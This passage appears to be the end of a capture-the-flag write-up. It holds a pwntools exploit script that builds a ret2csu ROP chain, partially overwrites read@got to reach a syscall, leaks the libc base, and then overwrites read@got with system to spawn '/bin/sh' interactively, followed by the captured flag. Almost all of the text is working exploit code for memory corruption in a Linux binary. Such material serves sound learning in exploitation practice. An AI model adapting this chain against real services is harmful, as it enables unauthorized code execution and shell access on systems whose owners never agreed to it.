payload = b"/bin/sh\0" #rw_section
payload += p64(0xdeadbeef) #new rbp
payload += csu_rop(0, 1, exe.got.read, 0, exe.got.read, 1) #modify least significant byte to syscall
for i in range(6):
payload += csu_rop(0, 1, exe.got.read, 1, exe.got.__libc_start_main+i, 1) #leak libc
payload += csu_rop(0, 1, exe.got.read, 1, exe.got.__libc_start_main, 0) #change syscall number to read (RAX=0)
payload += csu_rop(0, 1, exe.got.read, 0, exe.got.read, 0x8) #ow read@got = system
payload += csu_rop(0, 1, exe.got.read, rw_section, 0, 0) #rdi = "/bin/sh\0" + call system
payload += p64(exe.sym.main)
sl(payload)
sleep(1)
s(b'\x7e') #syscall
sleep(1)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.__libc_start_main
system = libc.sym.system
print(f"[*] Libc leak: {hex(libc_leak)}")
print(f"[*] Libc base: {hex(libc.address)}")
sleep(1)
s(p64(system))
p.interactive()
#FLAG{4_r34lLy_Un3Xpl01T48l3_S3Rv1C3_Sh0UlD_n0T_H4v3_SYsC4ll_1NS1D3}
```
>FLAG{4_r34lLy_Un3Xpl01T48l3_S3Rv1C3_Sh0UlD_n0T_H4v3_SYsC4ll_1NS1D3}